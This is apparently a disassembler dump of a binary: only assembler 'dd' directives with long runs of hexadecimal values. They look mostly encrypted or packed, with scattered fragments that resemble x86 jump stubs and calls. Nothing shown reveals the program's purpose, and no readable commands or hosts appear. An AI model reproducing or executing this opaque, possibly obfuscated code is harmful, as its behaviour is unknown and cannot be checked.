dd 14610911h, 4D78B379h, 0C71F6D94h, 0FA21A924h, 613B87E7h
dd 0EB5854B1h, 3D0D7553h, 66CB798Ah, 106DA745h, 7F0911C7h
dd 46B37917h, 8EB3E838h, 187D4DCFh, 0F305E983h, 5BBD83A4h
dd 7E5D4h, 8D8D0D74h, 7E04EE8h, 1B8h, 40E1FF00h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 12C35343h, 517968C5h
dd 0D68BEA50h, 810Fh, 0E8830000h, 52006A2Dh, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 7E7C64CCh
dd 0E9F9BE2Eh, 11h, 4EF91C1Ah, 0A08D7853h, 8F7C2357h, 76D9B019h
dd 6AC08BDCh, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1C042444h, 40000000h, 5990C350h, 4B879324h, 0FC18A4Ch
dd 282h, 0E9DE8B00h, 0Eh, 166131C4h, 9D75EE11h, 5670E121h
dd 0BD831FB9h, 7E006B1h, 83097500h, 0E001C5BDh, 19740007h
dd 0C08B5350h, 3FCB8h, 99858900h, 8D07E023h, 0E2BCC99Dh
dd 5BD3FF07h, 0C5BD8358h, 7E001h, 53501774h, 3FCB8h, 99858900h
dd 8D07E023h, 0E2B96A9Dh, 5BD3FF07h, 51006A58h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 0F0C024B8h
dd 602E08A1h, 0BA660E87h, 6AC626h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1C0424h, 51410000h, 87B46EC3h, 0C88D9052h
dd 0BB664B14h, 0D98BB4D8h, 8D8DC08Bh, 7E5DB32h, 24399529h
dd 850107E0h, 7E02F0Dh, 18158D89h, 665607E0h, 0E4D7E881h
dd 4985C75Bh, 7807E020h, 0F000064h, 385h, 0F98B6600h, 22C585C7h
dd 7E0h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 150424h, 56460000h, 0E863DEC3h, 10h, 4A787A6Fh, 7A2FAA6Eh
dd 47BCF338h, 0F48AF105h, 75D858Bh, 295E07E0h, 0E03149BDh
dd 0E5B5FF07h, 0F907E022h, 209195FFh, 6A07E0h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
dd 36434EC3h, 6A72DE6Eh, 0A995FF00h, 8B07E018h, 570BEBC0h
dd 95BD5222h, 5701E726h, 14E87A8Ah, 98000000h, 0D88F5594h
dd 2F78D56Ch, 3ABFC218h, 76229351h, 89C86BF7h, 0E01829B5h
dd 95895A07h, 7E015F5h, 5C11C281h, 9D890000h, 7E0142Dh
dd 0AD5C4ABBh, 9CF38110h, 0F10AD4Ah, 1B81h, 14E800h, 0F13A0000h
dd 0B4441851h, 25FE5795h, 7FA5C74Eh, 0D436394Eh, 5FF5E712h
dd 0B58B32FFh, 7E00445h, 0E5858959h, 8107E025h, 9ECA76E9h
dd 0F0B70F6Ah, 6FB4F181h, 0C1812A5Ch, 25003AEFh, 2A558D89h
dd 0B85107E0h, 556EE2F5h, 10E9028Fh, 8F000000h, 22F12DFEh
dd 1A7ED09Ch, 3D7AA206h, 8359307Bh, 0B58901EAh, 7E0186Dh
dd 814A4A4Ah, 1EBh, 0A1850F00h, 66FFFFFFh, 0A8B4CE81h
dd 0DD148D8Dh, 6A07E5h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 180424h, 50400000h, 0D394EEC3h, 8D890D2Fh, 7E01815h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0A7C35646h
dd 840DBE65h, 85C738B0h, 7E02049h, 6E9Ch, 0E851006Ah, 3
dd 59C35920h, 4244C89h, 4244481h, 1Dh, 64C35141h, 0BB48B38Bh
dd 58DD93BAh, 0D9858B9Bh, 0C707E023h, 0E022C585h, 7, 7D853100h
dd 0FF07E02Ah, 0E007A1B5h, 51006A07h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1404h, 0C3514100h, 5880F6Fh, 0B8000000h
dd 358E4B28h, 10E8h, 0E871B500h, 6DB31E34h, 1648A8EDh
dd 0F9E22E1Ah, 0DFBF0F64h, 9195FF5Eh, 6A07E020h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
dd 101AC353h, 765AA1D2h, 89EB72DFh, 0E007259Dh, 0FF006A07h
dd 0E018A995h, 0EBC08B07h, 0C7DD101Bh, 0C94F3B0Ah, 44E1ED7Ch
dd 0D6B7FAEFh, 4264AAD5h, 49D1645h, 26836600h, 43E9h, 4768B00h
dd 0Bh, 0C51C5700h, 6148434Ah, 0A5ADF936h, 528C88A7h, 0B7FB75h
dd 0ADF99CBEh, 89937EE5h, 0F4C7009Dh, 6063921Dh, 0DE19h
dd 5 dup(0)
dd 0B60E9h, 0DE876800h, 50E907E5h, 68FFFAA3h, 7E5DFE4h
dd 0FAA346E9h, 0E0F968FFh, 3CE907E5h, 68FFFAA3h, 7E5E1BCh
dd 0FAA332E9h, 0E26F68FFh, 28E907E5h, 68FFFAA3h, 7E5E35Bh
dd 0FAA31EE9h, 0E42468FFh, 14E907E5h, 68FFFAA3h, 7E5E629h
dd 0FAA30AE9h, 0E76D68FFh, 0E907E5h, 6FFFAA3h, 784A641Eh
dd 0EDBFD991h, 64365008h, 0D7A9C37Bh, 0CC213BF5h, 924C2EE3h
dd 8C2A678h, 81391CEEh, 0F5AF9567h, 0ED10FBDBh, 21D4C3C4h
dd 0D1AE48BAh, 4E06E94Fh, 2698CA3h, 782E5F7Ch, 0F6E20E25h
dd 218D98F9h, 70AF0E14h, 28A30E31h, 88DB21D5h, 8FA28882h
dd 3D23DCA5h, 0DD457F83h, 2E081FCAh, 27898F47h, 0B0B56F55h
dd 6A12C858h, 845B9403h, 651DBABEh, 3E0E492Fh, 15597C93h
dd 63267A1Ah, 391FF910h, 0AD93657Fh, 8A96EEF3h, 345796ADh
dd 29B9E17Dh, 41A0A6F9h, 59C4541Eh, 7E57AA2Eh, 0EDEEFC85h
dd 0C88BB9A2h, 0B2000009h, 24F610CAh, 996B853Dh, 10E2FCB4h
dd 83556F27h, 78CDE7A1h, 3EF8DA4Fh, 0B46E5224h, 2DE5C89Ah
dd 0A15B4113h, 99BCA787h, 21D4C318h, 0C652EC5Eh, 454B03ECh
dd 1C3F654Bh, 29BAA095h, 0DEE38EE1h, 2940FAE0h, 752D10EAh
dd 0BAA1377Ah, 5D803F29h, 29BAA154h, 262CD72Ah, 0AB8898C4h
dd 0A78D7194h, 388B2E5Ah, 9AC1EC33h, 1B7C21DAh, 0E03A68C6h
dd 515553D4h, 62000000h, 0E8EDA588h, 0FAB7DAF1h, 8421DA92h
dd 0D1092B31h, 0FFD9F04Fh, 0F9585E16h, 5AA01CD6h, 0A0F622Eh
dd 0DA9FEAC3h, 9DF25321h, 0D4EB033Fh, 0E3255153h, 573E0B89h
dd 3B7FA1Dh, 6CBF21DAh, 0EE37BBC1h, 44000000h, 4772836Ah
dd 3FCF6996h, 65878D38h, 868B452Bh, 0A8604923h, 0CC6A8A2h
dd 0CC8FC9F5h, 0B7DB9C9Fh, 0BA7D1D94h, 5B065929h, 240A0855h
dd 8167656Ah, 3892ADC7h, 0D329BA7Eh, 8B432CEDh, 508FC6E0h
dd 0BA79842Dh, 0A3A7FA29h, 1DCD1C91h, 7E787EF7h, 9BC7DE98h
dd 6F0726D7h, 8C0A9D2h, 5B610C03h, 0CD6AB60Eh, 0D62F93B6h
dd 56A92E59h, 492B053Ch, 8D938A8Fh, 4158D739h, 7791311Eh
dd 1F368926h, 8FA96345h, 381ADBBDh, 0F316797Eh, 29B869BEh
dd 0FBA65B8h, 10995336h, 4D7B64E6h, 86Bh, 536D270Fh, 0C8E29A81h
dd 3F5911F6h, 0B2CC846Dh, 2A44FEE0h, 5537ECD5h, 0CBAF819Bh
dd 4225F711h, 0B89E708Ah, 1904E4FEh, 0D4C1BBF6h, 0B751C321h
dd 758F492Bh, 3EAABDA3h, 0A6604218h, 6546D2A2h, 0E5C9A3BAh
dd 7D2F262Bh, 75D7DD97h, 0F04FD17Bh, 0A03CB6D9h, 16C22E5Ah
dd 0F3BD02B3h, 1419C4CCh, 624F72B1h, 0EF21D9ECh, 0A95B9763h
dd 0FD572EE6h, 61585D17h, 406DB0B6h, 0FD21DA27h, 3BF3D8B2h
dd 0D63C035h, 53D490D1h, 0C1FAh, 0A5C80700h, 21DA1B0Ch
dd 0F7191F72h, 868B452Bh, 66BBF723h, 3857AF93h, 95563832h
dd 0FEF5FAB2h, 78EDC4E7h, 368929BAh, 8B3F868Bh, 2A29BA7Ah
dd 0C3933144h, 682D1FABh, 0EBD1A3BDh, 8AC92C31h, 0B9DB4A67h
dd 0AD883429h, 21309BB8h, 0B2060CB7h, 97BAD16Eh, 2E59F02Bh
dd 114862B5h, 92975137h, 0DF41959Bh, 38264960h, 0BE267766h
dd 987A546Bh, 3338F0D7h, 0A577913Ch, 631B02C3h, 6A02DFB8h
dd 2E17E610h, 75600h, 823C2400h, 0F7AF9668h, 6E260BDDh
dd 0E1998254h, 5913F5C7h, 4CC1EA3Fh, 0C496B06Ah, 3A0C26E0h
dd 0B3859F57h, 19F913CDh, 0C0A60B2Eh, 5ED021D4h, 8F492BC4h
dd 3BDA375h, 452BEFE9h, 0A288868Bh, 2B12138Fh, 0C06BDF1Ch
dd 82228BA6h, 0F11F29BAh, 69F81B32h, 0B52E5F5Ch, 5B365389h
dd 0FE022FF5h, 32723F58h, 405F65BDh, 16FCD6EDh, 886B455Ch
dd 0CED4CBD0h, 0FAB49A6Ch, 0C8EDB7E3h, 76DDE159h, 0D5845E53h
dd 1AC51821h, 0A16FC714h, 0A8916B82h, 4EDEBF0h, 3C9BA14Ch
dd 75906119h, 0F5185726h, 29B58EBCh, 4A696FC2h, 270FFD9Eh
dd 6F862A01h, 0B4B7654Ch, 13BE1129h, 144C633Ah, 65937CE6h
dd 693h, 2B45FFE7h, 0A0BA7259h, 1731E9CEh, 8AA45C45h, 21CD6B8h
dd 2D0F04ADh, 0A3875973h, 1AFDCFE9h, 90764862h, 0F1DCBCD6h
dd 0D4BFE3CEh, 8F299B21h, 868B452Bh, 0E3E8A288h, 8BDD327Bh
dd 0F3D1EBA5h, 5434EAB7h, 0E16DD905h, 69BE26FDh, 7DF63h
dd 0FB290000h, 17Dh, 0AECC691h, 0FEA96349h, 0A0F8B5F8h
dd 0C74929BAh, 92775168h, 0A1664B6Eh, 0BD1029BAh, 10160D12h
dd 7BE88EB1h, 0CB1E2E5Fh, 0B49B75B4h, 0AE3E70A3h, 0FBA648F3h
dd 215FBF5h, 0E890995Eh, 9AB45F57h, 2328E2C8h, 0CFE645CBh
dd 750FCEACh, 0FCD52826h, 0E613F32Bh, 0E0315F48h, 9A000005h
dd 0CDEF8B2h, 81536D25h, 0F8CAE49Ch, 6B3D570Fh, 60B5CF89h
dd 26E0C277h, 9C563A0Ch, 15CDB082h, 894329FBh, 81A48F6Fh
dd 21D4BF30h, 2B3AD446h, 0F2743245h, 5ECC4BB6h, 3C709CB3h
dd 4EBB0ADDh, 0CDCB181Eh, 0C0282DE7h, 0EAD01A77h, 0A381630h
dd 4A543474h, 0CCD28C70h, 1148h, 0BEFB9200h, 54000000h
dd 0A0BFF215h, 64B729BAh, 4FD13C5Eh, 0B5B6D9F0h, 2D2E5F7Bh
dd 3E9C3DAh, 775D2F49h, 0B060B8BDh, 0DE1D5C73h, 0D4C3F6BBh
dd 9C3A521h, 96D9DF32h, 26799ED8h, 671F04DEh, 60834261h
dd 29BAA151h, 182FDA2Dh, 849E583Eh, 83A6CCB2h, 29BAA12Eh
dd 4B668948h, 3329BAA1h, 738A35E0h, 0F7FDB799h, 71CE52AAh
dd 0B9F81B5Ah, 0EA29BAA0h, 50474C06h, 0C1202679h, 5A83D49Eh
dd 0FED72A2Eh, 0EDEE87C3h, 0F43D6B54h, 86000004h, 0F8CAE49Eh
dd 6D3F5911h, 0E4B6D088h, 572943FBh, 4CA1BB75h, 12CCAE63h
dd 884226F8h, 1B99C6Eh, 752F15E7h, 6D907B5Bh, 21D4BE44h
dd 0FB2EC83Ah, 156h, 3ECC691h, 494F464Bh, 0F50C2BF5h, 5F7B99D2h
dd 6465912Eh, 0C9E80BA8h, 0B521D4C8h, 85595E62h, 6827464Ch
dd 0D5356C45h, 14BF1221h, 6692BEFDh, 0AE3688F8h, 9E238E89h
dd 0C52E21D5h, 3EF26F5Ah, 0F5FB4E25h, 1CD6BC96h, 904A3002h
dd 4EED338Bh, 96B9F837h, 21D5231Bh, 0C70A1063h, 2679FDA7h
dd 0CE2C6591h, 77A36456h, 0E8FF5271h, 546E280Eh, 68D8F11Dh
dd 0CCDCC9E2h, 2CE6CCC6h, 0E241CF27h, 6ECAA8CBh, 0E1342E5Ah
dd 0EE92D308h, 517F68EDh, 42Bh, 93AD674Fh, 822DAC1h, 7F995136h
dd 0F20CC4ADh, 6A843E20h, 9577AC15h, 0BEFC1DBh, 82653751h
dd 0F8DEB0CAh, 5944243Eh, 0D4BC7B36h, 0F7910321h, 9D84452Bh
dd 3EE9E0E5h, 94553B39h, 0FBF2F7AFh, 9AE34B50h, 530DF345h
dd 0C27C623Ch, 0F7235ABCh, 0C65CDD52h, 0BFD578D7h, 5EB339F3h
dd 7BA7ADB3h, 94543443h, 5Ah, 26DEC7A1h, 4FD1FE20h, 88ADD9F0h
dd 8DB7A23Dh, 0B9F81B32h, 0C529BA3Ah, 0CE0D6C72h, 3B456C8Fh
dd 60429BAh, 0EE9F28EBh, 0F2F84B22h, 5ABC26AFh, 0BEE1A02Eh
dd 21DA23F3h, 0CA28DF8Bh, 49597646h, 2DCF39Eh, 304B651Dh
dd 21DA867Eh, 637D371Dh, 0EFF4AC91h, 36AC1h, 87C65700h
dd 0BAA14D64h, 0D0D62929h, 243BF3D6h, 0A0EFC2E5h, 348729BAh
dd 0FDE3E12Eh, 9A9F573Ch, 7E1F8A3h, 6E656A22h, 90CF0668h
dd 0BAA1446Dh, 0E1E73A29h, 304701E7h, 0CB27E504h, 0B6BCB4DBh
dd 0CB856B69h, 5F5275B4h, 3C29B9A4h, 0A49BA05Ah, 12747ACDh
dd 0E6FD3AE6h, 59AA3BC3h, 0FCE33D2Eh, 9D483F44h, 0A65C5198h
dd 80E121D9h, 1D91CD23h, 42BA53D4h, 4000000h, 0D9F04FD1h
dd 5E286E9Ah, 1F8A9302h, 877E833Dh, 5F93D6DCh, 992E59AEh
dd 73552F46h, 0B7BDB4B9h
dd 0AD8A236Ah, 68B321D9h, 0ADAB0629h, 80D321D9h, 272DE5CEh
dd 0C3FF5DB2h, 0EC53D419h, 0DBh, 8B452B36h, 4AF72386h
dd 0D3A18405h, 16F8F2F8h, 7359575Ch, 0B1498760h, 26D869CFh
dd 8E858A44h, 0FAE0DEE3h, 0BF0B2640h, 0F929B9D8h, 7B813B1Fh
dd 0C7E19B81h, 50550FF5h, 0F40B28F8h, 767B331Ah, 0F71A797Fh
dd 2E59B82Fh, 34ECCF29h, 768D382Fh, 0FAFFB79Ch, 6F9BFD03h
dd 486B82A1h, 267734AEh, 845E75C8h, 92D1E8A2h, 0B84C426Fh
dd 0C57F6129h, 0F4AE94EEh, 9B4DF8EFh, 4FB00B8h, 0E8CA9CFEh
dd 0B826552Eh, 0D6BFE610h, 226A8h, 0B26C5400h, 27DFC698h
dd 9E563B0Dh, 11C9B284h, 894325F7h, 7CB11A6Fh, 0F4C6E09Ah
dd 6A3C5610h, 0E3B5CF87h, 492943FDh, 0BA763B5Eh, 8E0021D4h
dd 109AC6F4h, 0C78A3A6Ah, 0EEB5ABB4h, 181CEDEAh, 7C361812h
dd 0F0AA9062h, 0DCC59FD6h, 0C6FC1E24h, 474C06ECh, 2AF64A50h
dd 2CE4C7A1h, 7C353027h, 2729BAA0h, 8E858A42h, 0A2B964B7h
dd 80A48963h, 0BAA1545Dh, 2CD72A29h, 0A00FE326h, 0AA692E5Ah
dd 3E9F147Eh, 2FDEE8Ah, 21DA1AAFh, 0E9F41BC7h, 499E3E2Ah
dd 0A7EEF39Eh, 21D9BF06h, 0F8C0EC37h, 0BA7568Ah, 62BF343Ah
dd 0D416DE0Ch, 0CCF953h, 0DA060000h, 7200DF6Eh, 55076C97h
dd 137B639h, 2B2E5056h, 0E6A08445h, 0B9E5243Bh, 4DBE646Ch
dd 5C5550AFh, 2229BA01h, 7E7CC9CFh, 96DDE29Ch, 29BA0234h
dd 11D6E9CFh, 0BABB1BE6h, 0A577913Ch, 9D0005BFh, 95C69571h
dd 0B7BD2A2Ah, 677EBD63h, 0EBF1AB8Dh, 0CCBD698Ch, 61BB2E59h
dd 11BC67Eh, 550DF0CAh, 0FF535950h, 0BCFB1211h, 4247FFE2h
dd 5502454Bh, 0B5267782h, 8F714B62h, 9670CFD5h, 530DF3B4h
dd 0DABC8EA8h, 8F1E4720h, 0D2BBE610h, 0E2A4h, 0F6B09800h
dd 6B230ADCh, 0E29A7F51h, 550DF6C8h, 0CD87693Bh, 0C0755EB3h
dd 380A24DEh, 0AE809A54h, 27F913CBh, 8D6D8741h, 0BA327FA2h
dd 0DA4C21D4h, 8F492B40h, 3BDA375h, 452BEFE9h, 0B59A748Bh
dd 565B13F6h, 61AEB45Fh, 0D5BC7D63h, 0A1238EB1h, 85B29BAh
dd 6C98B25Dh, 0B9F81BA4h, 0EA29BAA0h, 4E454A04h, 1C95B877h
dd 6229BAA1h, 0A2B9640Fh, 0EAA28963h, 7BE5A1E4h, 10632E5Fh
dd 6D270D0Bh, 59421C53h, 50FBB39Ah, 544E544Bh, 719DB46Eh
dd 8CDC8AE2h, 0A8F5FB6Ah, 7574E161h, 0EE8071Dh, 766D722Ch
dd 54A6FB70h, 0C89AB46Eh, 371128E2h, 45929850h, 0B69F5E47h
dd 0EDC4E7FEh, 891EB64Ch, 90868B36h, 0D6BC0E63h, 0CD783015h
dd 5D5477B6h, 191EB64Dh, 8C5EC0C6h, 0B9E7ECA6h, 3, 2B66244Fh
dd 86848943h, 0E3E1E6A0h, 45434800h, 0A4A2A761h, 50308C2h
dd 66646923h, 0C2C0C57Dh, 222025DDh, 6D7E833Bh, 815B5453h
dd 4C3h, 4EB8300h, 5C241C87h, 41D368h, 24348900h, 3F8A68h
dd 24048900h, 1F0368h, 242C8900h, 0E5DDDBBDh, 5DEE8907h
dd 24048B54h, 5104C483h, 8B9h, 56C10100h, 8B59018Fh, 89562404h
dd 4C681E6h, 83000000h, 348704C6h, 34FF5C24h, 0C4835E24h
dd 9805E904h, 211CFFFAh, 4FED4B2h, 1D6A4CABh, 0E874B83Fh
dd 0C50307E5h, 611CE0FFh, 464B7DC2h, 3903136Ah, 26444C86h
dd 0B4315899h, 24EB497Ah, 9 dup(0)
dd 0BDE9h, 0B58900h, 8B07E5E9h, 0E016B185h, 0ED858B07h
dd 8D07E00Fh, 0E5E94AB5h, 0A0858D07h, 0FF07E357h, 0E855C3D0h
dd 0
dd 50ED815Dh, 8307E5E9h, 0E016B1BDh, 850F0107h, 2Ch, 0E900B5FFh
dd 858B07E5h, 7E00FEDh, 81273635h, 3CD0FF34h, 0A850F01h
dd 0B8000000h, 1, 47E9h, 0E9C03300h, 40h, 0B58D1C6Ah, 7E5E904h
dd 0B5FF56h, 8B07E5E9h, 0E00FED85h, 27363507h, 0D0FF3481h
dd 8D0CC483h, 0E5E904B5h, 14468B07h, 8304E083h, 840F04F8h
dd 7, 5E9C033h, 0B8000000h, 1, 16B1BD83h, 0F0107E0h, 785h
dd 0E9C35D00h, 2, 858DCF5Dh, 7E5E929h, 2A758589h, 9FE907E0h
dd 0E000000h, 944CB4E3h, 5000000h, 1000000h, 28000000h
dd 200000Ah, 22h dup(0)
dd 4EE90000h, 6800000Ch, 7E5EC7Ah, 0FA9636E9h, 0ED6B68FFh
dd 2CE907E5h, 68FFFA96h, 7E5EE94h, 0FA9622E9h, 0EF1168FFh
dd 18E907E5h, 68FFFA96h, 7E5F072h, 0FA960EE9h, 0F0DC68FFh
dd 4E907E5h, 68FFFA96h, 7E5F43Ah, 0FA95FAE9h, 0F54B68FFh
dd 0F0E907E5h, 16FFFA95h, 885A742Eh, 0FDCFE9A1h, 74466018h
dd 0E7B9D38Bh, 0DC314B05h, 0A25C3EF3h, 18D2B688h, 91492CFEh
dd 5BFA577h, 0FD200BEBh, 21D4B6B4h, 0C6BE58CAh, 6E265C9Ah
dd 80EA1FBh, 696E280Eh, 0DBC4856Bh, 325E7823h, 173A51EEh
dd 2E59AFE7h, 9D470531h, 4592697Fh, 0B388FDDEh, 454BF6BFh
dd 6BCED326h, 0ECF2AA91h, 0D9EB04A9h, 0FCB49721h, 5E16F9F7h
dd 0D9366359h, 0C8258696h, 0DEA7ED19h, 4044FCE1h, 7BFFBE41h
dd 0C55E532Ch, 0DA9A9E49h, 46B104BEh, 0CEFC0208h, 0E53D4D9h
dd 57AA35E2h, 9AA0253Fh, 5516h, 4FD16000h, 0A1506184h
dd 0D32629BAh, 0D9843C21h, 0A0539FC2h, 5AAD2E5Ah, 432B1743h
dd 0F692FA63h, 5C535812h, 0FB5EABB1h, 7F833D21h, 0BAB92A8Dh
dd 0B4F7FD26h, 21D9AAF9h, 308EE344h, 53D41CF2h, 0DE1Dh
dd 0A5FE2A00h, 0E1918F97h, 0D8646EADh, 76215ABEh, 452B4E70h
dd 0A688868Bh, 0B74FA493h, 0BA201D94h, 2065929h, 0F44DE313h
dd 0E1757E8Dh, 795B0DB8h, 110F14BFh, 6E6C712Bh, 723F6288h
dd 0C29BA68h, 6914CEB2h, 0BF89A4BEh, 6229BA6Bh, 71A8C27Ch
dd 63A20F32h, 1D0129BAh, 4F328C63h, 0F09B9297h, 500AF0EAh
dd 290EE84Bh, 9176B71h, 0D2F0132Ah, 4C2E5A43h, 80A3E2F9h
dd 21DA8431h, 92F4FA4Dh, 667DBA66h, 78000C43h, 176A26h
dd 708A4426h, 0BE765F39h, 0C2BCC2B9h, 7A4D26E0h, 8BE610F8h
dd 9DD74A2h, 0BDA50000h, 3017E903h, 0A78C5E78h, 1A03D5EFh
dd 94764862h, 426BC0DAh, 1731EBCDh, 8DA76145h, 620D8BBh
dd 7A944E34h, 258CAF9Ah, 5121D4B5h, 492B45DFh, 0BDA3758Fh
dd 0D1EFE903h, 0FFD9F04Fh, 5F5D621Ah, 1016C17Bh, 0A0648EB1h
dd 805A2E5Ah, 77DADF97h, 0DAA05D54h, 1BC61921h, 9EA3F615h
dd 0DAA05657h, 0A8604521h, 5BFA5A3h, 0C419CE00h, 0AB086979h
dd 0D4EB2955h, 0CC4253h, 2B8C0000h, 88868B45h, 329493A6h
dd 0FC4D6487h, 0D62929B9h, 47D75CD2h, 0F850979Ch, 9329BA19h
dd 7D9F3ADh, 0A626721h, 0D3122906h, 565B15F9h, 0AC16595Fh
dd 322E59F1h, 363BF3D8h, 0F0A88D3Fh, 0B5F42B45h, 0D9F21F92h
dd 7AB5721h, 8CCA372Dh, 0D82C32DDh, 0B1D4EB48h, 2677C3ADh
dd 0E7C1D82Bh, 5A344B05h, 53B5BB73h, 0CE59F81h, 0E611443Fh
dd 0EC3D6B54h, 96000008h, 8DAF4AEh, 7D4F6921h, 0F4C6E098h
dd 6739530Bh, 5CB1CB85h, 22DCBE73h, 98523608h, 11C9AC7Eh
dd 853F25F7h, 7DA08B6Bh, 21D4B434h, 2B3ED84Ah, 0A3758F49h
dd 5D15FCBDh, 9FB66158h, 57213460h, 0ACAD3B1Fh, 0BA6300B1h
dd 9E133629h, 0D829BA62h, 555BAE85h, 9AC6F9F3h, 82D420AAh
dd 150F1518h, 7270752Fh, 81B8D28Ch, 106BEA7h, 60B0040Ah
dd 416DACC3h, 0D055BDF5h, 1A01B314h, 60665D62h, 5E6CAB1Dh
dd 1E07E12Eh, 536A6166h, 0D56E8130h, 0A4AAFD21h, 411B3285h
dd 4C1A485Bh, 0D4B3F554h, 0A5179ABDh, 0C5F21D4h, 0F52C4761h
dd 4C21D4A4h, 0C67E61C5h, 0BEB7011Bh, 0FA112EF2h, 74A98FD7h
dd 0E70AC926h, 29B4A5CAh, 1B661B4h, 6C5AD41Ah, 423EDBAh
dd 7BD0CAEDh, 4CA69A8Dh, 0B1A8AD65h, 67A90106h, 2085B1C8h
dd 0C1795CA0h, 0E1F7DEBDh, 0FE3D7CDBh, 8D65D6DBh, 474DA095h
dd 2CA2D104h, 0CBE2359Ah, 5D48698Ch, 0DB2E95ECh, 7B66F3D7h
dd 6A704027h, 914B310Bh, 5BFA577h, 0DD10652Ch, 67957E79h
dd 7C3h, 31DD7BFh, 78924A31h, 0EF09C1A6h, 627C341Dh, 0DAF4AE90h
dd 5E75C85h, 7B5F314Bh, 0F2D5A7C1h, 684E203Ah, 0C9B494AEh
dd 0D4B30BA6h, 67017321h, 0C6AD87C6h, 0A09E130Eh, 19D829BAh
dd 0BAA0BBF6h, 0C570C329h, 86A56BBFh, 487C4C6Fh, 0A7FA2E5Fh
dd 17CFB690h, 0DE9AC6FDh, 74D1F0F5h, 61484248h, 0CFB892A9h
dd 0B7DF1317h, 1CE9EBEFh, 0E5CBC916h, 0CF11522Bh, 0C5AEEDF3h
dd 74697h, 9A543C00h, 0FC7AE80h, 863E23F5h, 0F9B19A6Ch
dd 712B0DDFh, 64D90257h, 0DCAEC882h, 52243EF8h, 0CB9DB76Fh
dd 31112BE5h, 0B18E2346h, 76E821D4h, 0F04FD1DCh, 4812B6D9h
dd 35882E5Fh, 0A862441Eh, 47A6ACA3h, 244A2E08h, 0D4B7B001h
dd 0C873C621h, 743D60C3h, 0A21D4B8h, 0C060CB7h, 26526C26h
dd 0E4233AFBh, 6E4366A5h, 821D4B8h, 0B7F7BAB5h, 257F21D4h
dd 0D3D9843Ch, 0D4B80D90h, 0F1F64921h, 0D4B804AAh, 7BD83921h
dd 0D10FF925h, 4C1253h, 0D15C0000h, 47FFE84Eh, 2346859Ch
dd 29BAA08Eh, 0FEE395E8h, 444A4146h, 0A0F3C2E5h, 409329BAh
dd 0A0B9F43Bh, 238429BAh, 0B5D817CEh, 29BAA0FCh, 23292F82h
dd 5434E6E7h, 1110h, 0BBDE1D00h, 29BA98F6h, 5272D80h, 1FCFBh
dd 0B0B39100h, 81A4B9E5h, 160BB396h, 0D754BC10h, 3BC99DC0h
dd 0C0FF2E5Ah, 0DA34149Dh, 4FEE3D21h, 55C17258h, 6252B7Eh
dd 5017FEB3h, 467E2FD5h, 9CDE407h, 56A98170h, 1714FC50h
dd 89412600h, 28878D84h, 0FF09505h, 9398EB86h, 3F56D53Bh
dd 0DD31D400h, 0D9EAF64Fh, 584590D3h, 2C17EAFh, 70A7D2DFh
dd 6E52AC81h, 0DB8AFB4h, 8B714B62h, 0A680B7D1h, 80208C2h
dd 648F6822h, 0F58E5850h, 5E5DE0Ch, 0B59D0000h, 280FE1FBh
dd 9F845670h, 12FBCDE7h, 8C6E405Ah, 7A63B8D2h, 0F29E3C5h
dd 859F593Dh, 0FE18D0B3h, 728C462Ch, 2D84A792h, 4921D4B1h
dd 452B3DD7h, 0B49A748Bh, 0F8FEF5FAh, 2CD53ABh, 0BAA0D2DFh
dd 0AE59AC29h, 1DD7BD97h, 0A995B817h, 2F2E5A8Eh, 0B18BC2DCh
dd 140B10C8h, 742E140Eh, 0EE85769Bh, 0F4220BEDh, 57Bh
dd 4B651F07h, 0C0DA9279h, 375109EEh, 0AAC47C65h, 223CF6D8h
dd 4D2FE4CDh, 0C3A77993h, 3A1DEF09h, 0B0966882h, 11FCDCF6h
dd 0D4B0C3EEh, 0AF49BB21h, 0A284452Bh, 974F36E8h, 0D9F09B92h
dd 5E631DFFh, 18D0B567h, 0C9161C13h, 4224E5CBh, 0E18C8388h
dd 0D62B74DCh, 0CAE49E84h, 34E6BEECh, 3F24FE54h, 73FD8187h
dd 47000000h, 4708ECC6h, 0FB01AC64h, 0A3BA79A7h, 5EE3864h
dd 0ACB83558h, 5CB63A6h, 0EEAD2E5Ah, 0FD258CAFh, 0FE5121D9h
dd 0D9FCAE03h, 0CA75C821h, 0FD2F7EC5h, 836C21D9h, 0E2C8C6CBh
dd 72BB2328h, 42C5791Dh, 5E382F5h, 0D3FF4A5Ah, 52D4CEAAh
dd 0B2E454Eh, 21DA6AA6h, 2777DD0h, 0DC134FADh, 423C53D4h
dd 49000000h, 0A1C8891Dh, 44293FB7h, 0E590878Ch, 4FD1BDDFh
dd 1FB6D9F0h, 972E5AEFh, 14EE2D44h, 7D747931h, 0DE967D77h
dd 5305A9C4h, 0B29821DAh, 250CDEF8h, 0D905686Dh, 65C3BE9Bh
dd 0F21C2286h, 46Fh, 0F04FD188h, 0BD00B6D9h, 23762E5Ah
dd 0FFE1BB1Eh, 43494045h, 0B9A26349h, 5A05FC01h, 50ADE255h
dd 385B64ACh, 21DA8479h, 0F007B205h, 7AA0E9CDh, 324C9F26h
dd 0D0B97A60h, 711C1318h, 2F0C146Ch, 8C19F518h, 731F2E5Ah
dd 0E3D539E9h, 3439E406h, 92C5236h, 21DA36A8h, 0CBD07BCEh
dd 272CE4CDh, 64AF0431h, 0E2C9A3BAh, 52AF242Ah, 4E682208h
dd 0FCB5D817h, 8221DA36h, 4BD5292Fh, 0E8B2D5ECh, 5E267A3Ah
dd 2208060Bh, 406D6368h, 735A34E3h, 0B9BFB6BBh, 9075BB65h
dd 8A35EFD1h, 0BA8A8E85h, 0E47DC4F6h, 4B8AA14Ch, 0BA848928h
dd 0ABC5C829h, 139D9483h, 84E3E93Ch, 5A483961h, 2D500F2Eh
dd 21DA4784h, 797E361Fh, 0F0FFAB82h, 0D33AEE46h, 0DDF7A24Dh
